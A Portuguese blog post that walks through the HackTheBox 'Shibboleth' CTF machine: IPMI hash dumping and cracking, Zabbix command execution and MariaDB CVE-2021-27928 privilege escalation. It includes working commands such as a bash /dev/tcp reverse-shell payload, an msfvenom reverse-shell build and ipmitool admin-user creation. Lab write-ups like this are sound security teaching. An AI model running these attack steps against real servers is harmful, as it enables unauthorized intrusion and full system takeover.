O gerenciamento remoto de servidores pode ser feito através de ferramentas como o IPMI (Intelligent Platform Management Interface ou Interface Inteligente de Gerenciamento de Plataforma). Esta interface permite o gerenciamento de hardware baseado em mensagens padronizadas. No núcleo do IPMI existe um chip de hardware conhecido como Baseboard Management Controller (BMC) ou Management Controller (MC).
Com o IPMI é possível monitorar a integridade do servidor, configurar alertas, efetuar alterações na BIOS e inclusive recuperar o estado da máquina, mesmo com o sistema principal desligado. O software/firmware do BMC é executado de forma independente da placa-mãe que ele está monitorando.
O problema, como tudo no que se refere à Segurança da Informação, consiste na forma como a tecnologia é usada. Tudo deve estar devidamente configurado e atualizado, para evitar vazamento de dados e exploração de vulnerabilidades em algum software instalado.
Qual poderia ser o impacto a uma empresa se um invasor conseguisse as credenciais de acesso deste serviço remoto e logo em seguida utilizasse estas credenciais para acessar a página Web dedicada ao gerenciamento dos servidores? Este cenário será abordado a seguir utilizando a plataforma de CTF (Capture The Flag) HackTheBox.
Neste post, vamos apresentar a resolução de uma máquina que simula este tipo de situação. A máquina da plataforma HackTheBoxutilizada para mostrar este cenário de invasão é a shibboleth, que foi disponibilizada para testes de intrusão na plataforma. As informações da máquina são mostradas abaixo.
IP: 10.10.11.124
SO: Linux
Nível de Dificuldade: Médio
Varredura e enumeração
O primeiro passo em um pentest (Penetration Test ou Teste de Intrusão) blackboxé efetuar a enumeração de portas e serviços que estão sendo executados no servidor alvo. Para esta tarefa, foi utilizado a ferramenta Nmap.
O resultado do scan no protocolo TCP mostra apenas a porta 80 aberta.
Acessando o IP pelo browser há um redirecionamento ao endereço http://shibboleth.htb e nada é mostrado. Para poder acessar a página, o IP foi adicionado ao /etc/hostsda máquina local (atacante).
$ sudo vi /etc/hosts
Adicionando o endereço ao arquivo host.
Surge então a página inicial ao acessar pelo navegador:
Visitando https://shibboleth.htb (depois de adicionar o host).
Fazendo uma análise da página e seu código fonte, encontramos nomes na sessão “Team“, que poderiam ser utilizados em um ataque de força bruta ou ataque de dicionário.
Página “Team” com nomes simulados.
Outra informação interessante consta no rodapé da página, onde é informado que o servidor possui o Zabbix
como sistema de gerenciamento.
Rodapé indica uso do sistema Zabbix.
Nada mais foi encontrado na página que pudesse permitir acesso ao servidor. Uma nova enumeração foi executada, agora no protocolo UDP.
Vulnerabilidades
Em busca de vulnerabilidades neste serviço foi encontrado este artigo no HackTricks, mostrando como solicitar ao servidor os hashesdos usuários cadastrados através de um módulo auxiliar da ferramenta Metasploit.
Módulo do Metasploit utilizado:
use auxiliary/scanner/ipmi/ipmi_dumphashes
A seguir, o módulo revela o usuário Administrator e o hash da sua senha, o qual pode ser quebrado utilizando ojohn the ripper ou hashcat.
Utilizando o arquivo de senhas comuns incluída no Kali (rockyou.txt) e a ferramenta hashcat foi possível quebrar a hash em formato RAKP e revelar a sua senha.
$ hashcat -m 7300 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Quebrando a senha atráves do hash e arquivo de senhas comuns.
Administrator:ilovepumkinpie1
De posse destas credenciais é possível executar diversos comandos de gerenciamento pelo IPMI através da ferramenta ipmitool, que está disponível para instalação em qualquer distribuição Linux.
$ sudo apt install ipmitool
Listando os usuários cadastrados com ipmitool:
$ ipmitool -I lanplus -C 0 -H 10.10.11.124 -U 'Administrator' -P 'ilovepumkinpie1' user list
Listando usuários através da conta de administrador obtida.
Além de listar é possível cadastrar novos usuários com privilégios de administrador:
$ ipmitool -I lanplus -C 0 -H 10.10.11.124 -U 'Administrator' -P 'ilovepumkinpie1' user set name 3 MyNewUser
$ ipmitool -I lanplus -C 0 -H 10.10.11.124 -U 'Administrator' -P 'ilovepumkinpie1' user set password 3 mypassword
$ ipmitool -I lanplus -C 0 -H 10.10.11.124 -U 'Administrator' -P 'ilovepumkinpie1' user priv 3 4
$ ipmitool -I lanplus -C 0 -H 10.10.11.124 -U 'Administrator' -P 'ilovepumkinpie1' user enable 3
Novo usuário administrador é adicionado.
Apesar de poder executar comandos de gerenciamento pelo IPMI, o objetivo principal é obter uma shell remota no servidor, isto é, uma forma interativa de executar comandos de forma remota na máquina infectada. O ipmitool não disponibiliza a execução de comandos de sistema para conseguir um RCE (Remote Command Execution ou Execução de Comando Remoto), então as credenciais do Administrator devem ser usadas no Zabbix.
Para descobrir a página do Zabbix foi utilizado o wfuzz, com o objetivo de encontrar algum subdomínio.
Três subdomínios foram encontrados pelo wfuzz. Para acessá-los, foram incluídos também ao/etc/hosts da máquina local.
10.10.11.124 shibboleth.htb zabbix.shibboleth.htb monitor.shibboleth.htb monitoring.shibboleth.htb
Webserver
Como citado anteriormente, o acesso ao sistema de gerenciamento do servidor é feito através do Zabbix. Os subdomínios encontrados apontam para a mesma página de login.
Página de login do sistema Zabbix.
Com as credenciais de acesso, podemos logar e visualizar o dashboard do usuário Administrator:
Realizando acesso com a conta Administrator.
Exploração
O passo seguinte foi descobrir como executar comandos de sistema pela página. Na documentação do Zabbix foi possível localizar a opção que permite o RCE.
https://www.zabbix.com/documentation/current/pt/manual/appendix/command_execution
https://www.zabbix.com/documentation/5.2/pt/manual/config/items/itemtypes/zabbix_agent
Opção vulnerável do Zabbix.
O primeiro teste de conectividade foi feito usando o comando ping, para testar se há conexão entre o servidor e a máquina local.
Testando execução de comando.
Configurações de execução.
Comando foi executado na máquina alvo.
Comprovada a conectividade a etapa seguinte é obter o ‘reverse shell‘. Um comando bash foi usado como payload para obter shell no servidor, mas também poderia ser feito em python ou mkfifo.
system.run["/bin/bash -c '/bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1'"]
Após receber a conexão do servidor foi necessário melhorar o shell para ter melhor interatividade de comandos. Os comandos a seguir foram executados em sequência no shell recebido.
Reverse shell obtida na máquina alvo.
Buscando por outros usuários no sistema que possuam acesso ao shell foi localizado o usuário ipmi-svc no arquivo /etc/passwd com o comando:
$ cat /etc/passwd
Usuario ipmi-svc localizado.
Para descobrir mais vetores de acessos e vulnerabilidades é necessário verificar se há serviços rodando localmente. A porta 3306 do Mysql está aberta para conexões locais.
$ ss -lntp
Serviço de MySQL está em execução.
Tendo em vista que as aplicações Web possuem algum arquivo de configuração com credenciais para acesso ao banco de dados, foi efetuada uma pesquisa local para encontrar o arquivo de configuração do Zabbix. O arquivo se encontra em /etc/zabbix/zabbix_server.conf e possui as credenciais para acesso ao banco Mysql/MariaDB.
Credenciais do banco de dados.
Com estas credenciais é possível acessar o banco de dados no servidor;
Database: zabbix
User: zabbix
Password: bloooarskybluh
Acessando o banco de dados.
Listando os usuários da tabela Users obtemos:
Usuário e senha(em hash) obtidos.
Neste caso não há outros usuários que possam ser usados, já que no arquivo /etc/passwd existe apenas o usuário ipmi-svc. O que falta neste ponto é descobrir a sua senha e assim trocar de usuário no terminal. Na primeira tentativa de testar a senha do Administrator no usuário ipmi-svc foi confirmado o reaproveitamento de senha, o que é considerado uma falha de segurança.
Este tipo de ataque, quando a mesma senha é reutilizada para diversos serviços é conhecido como credential stuffing.
Usuários utilizam da mesma senha.
ipmi-svc:ilovepumkinpie1
A flag do usuário está localizada em /home/ipmi-svc/user.txt e pode ser submetida.
Escalação de privilégios
Ao buscar por vulnerabilidades na versão 10.3.25 do Mysql/MariaDB surgiram vários resultados, inclusive no github.
Procurando por vulnerabilidades conhecidas.
Trata-se da CVE-2021-27928 e esta é a sua descrição:
Banco de dados da máquina está vulnerável.
Um problema de execução remota de código foi descoberto no MariaDB 10.2 antes de 10.2.37, 10.3 antes de 10.3.28, 10.4 antes de 10.4.18 e 10.5 antes de 10.5.9; Servidor Percona até 2021-03-03; e o patch wsrep até 2021-03-03 para MySQL. Um caminho de pesquisa não confiável leva à injeção de eval, na qual um SUPER usuário do banco de dados pode executar comandos do SO após modificar wsrep_provider e wsrep_notify_cmd
O exploit consiste em gerar um arquivo com payload utilizando a ferramenta Msfvenom, enviá-lo ao servidor e depois executar um comando pelo MariaDB, apontando o exploit como variável global do wsrep_provider.
Versões vulneravéis do MariaDB.
Gerando o payload com Msfvenom.
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o exploit.so
Com a ferramenta nc podemos abrir portas para enviar o exploit.so ao servidor.
Ouvindo a porta 8002 no servidor e utilizando o redirecionamento para a saída do arquivo.
$ nc -lvnp 8002 > <file>
Enviando o arquivo.
$ nc 10.10.11.124 8002 < exploit.so
Concluído o envio é necessário liberar as permissões para evitar erro na leitura do exploit.
$ chmod 777 exploit.so
Na máquina local (atacante) podemos abrir uma porta e receber a shell do root com a execução do comando pelo MariaDB. O diretório escolhido para salvar o exploit.so foi o /tmp/exploit, mas poderia ser qualquer outro, desde que tenha permissões de escrita.
Comando executado no Mariadb:
SET GLOBAL wsrep_provider="/tmp/exploit/exploit.so";
Obtida shell da máquina alvo.
Pós-exploração
Tendo acesso ao root o invasor poderia instalar algum binário, módulo ou script malicioso no servidor com a intenção de manter persistência, isto é, poder se conectar ao servidor remotamente a qualquer momento. Com este acesso direto poderia, em um ambiente corporativo, obter o IP de outros hosts e servidores, fazer movimentação lateral e continuar comprometendo o ambiente até conseguir o controle total da empresa.
Conclusão
Neste artigo foi demonstrado como um atacante pode acessar um servidor através da exploração de vulnerabilidades e a má prática de configuração. Os três pontos principais que permitiram ao atacante controlar o servidor residem na vulnerabilidade no gerenciamento remoto de servidores pelo IPMI, o reaproveitamento de senha de usuário e a vulnerabilidade no banco de dados Mysql/MariaDB.
O atacante sempre possui alguma motivação, seja financeira ou não. E sempre irá buscar uma forma de obter shell no host alvo, seja através de serviços desatualizados ou mal configurados.
Mesmo após configurar os serviços necessários para o dia a dia operacional da empresa, é recomendado um hardening, para revisar os procedimentos e reforçar ainda mais a proteção do ambiente.
Atualmente a maior ameaça a uma empresa é o ataque por Ransomware, cujo objetivo é criptografar os arquivos da vítima e exigir pagamento para liberar o acesso. Ainda que a vítima pague o “resgate” o acesso pode não ser concedido e os dados permanecerão criptografados.
A solução é a prevenção, através da contratação de serviço especializado, o Teste de Intrusão (Pentest). O gestor de uma empresa deve levar em consideração que o risco de ser alvo de ataque está sempre presente e que o custo em manter um cronograma de Pentest é muito inferior ao pagamento de “resgate” por um ataque de Ransomware.
A sua empresa executa periodicamente Teste de Intrusão (Pentest) em seu ambiente corporativo?